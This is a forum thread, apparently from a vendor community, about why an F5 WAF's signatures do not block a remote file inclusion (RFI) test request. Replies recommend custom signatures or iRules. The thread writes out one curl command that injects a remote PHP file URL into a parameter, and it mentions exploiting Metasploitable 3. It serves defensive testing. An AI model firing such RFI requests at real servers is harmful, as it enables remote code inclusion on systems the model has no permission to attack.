Hello,
I tested some pentesting attacks like "curl https://x.x.x.x/?niki=http://1.1.1.1/file.php -kv" and the RFI/RFE attack does not get blocked even with RFI signatures beeing enabled as mentioned in Article Detail (f5.com) or Mitigating Remote File Inclusion attacks with BIG-IP ASM (f5.com)
I had to create a custom signature but why as it is a simple signature to block this traffic ?
The custom signature works, so that is good 😀
1 ACCEPTED SOLUTION
I tested this on other vendors and it is the same as the info I got is that there are no default signatures for this RFI attack as it will cause many issues an false positives, so you need to make a custom signature/irule to block this for the specific vunrable parameter.
Outside of that for XC Distributed Cloud the Service policy rules seem the way to go for configuring something like signatures:
To my total astonishment I can reproduce this.
All Remote File Include Signatures are enforced in this policy.
And the ASM Request Log shows the malicious request just passes.
I am afraid we are missing something fundamental here 🙂
Yes, maybe I am doing the test wrong, still another big issue is that Nginx App Protect also has the option for custom signatures (Configuration | NGINX Ingress Controller) but for now XC Distributed cloud does not and even with all signatures enabled and not in staging the RFI attack is not blocked on XC.
As a test backend with metasploitable 3 you can exploit this vunrability as seen in your picture with the query "page" parameter.
I tested this on other vendors and it is the same as the info I got is that there are no default signatures for this RFI attack as it will cause many issues an false positives, so you need to make a custom signature/irule to block this for the specific vunrable parameter.
Outside of that for XC Distributed Cloud the Service policy rules seem the way to go for configuring something like signatures:
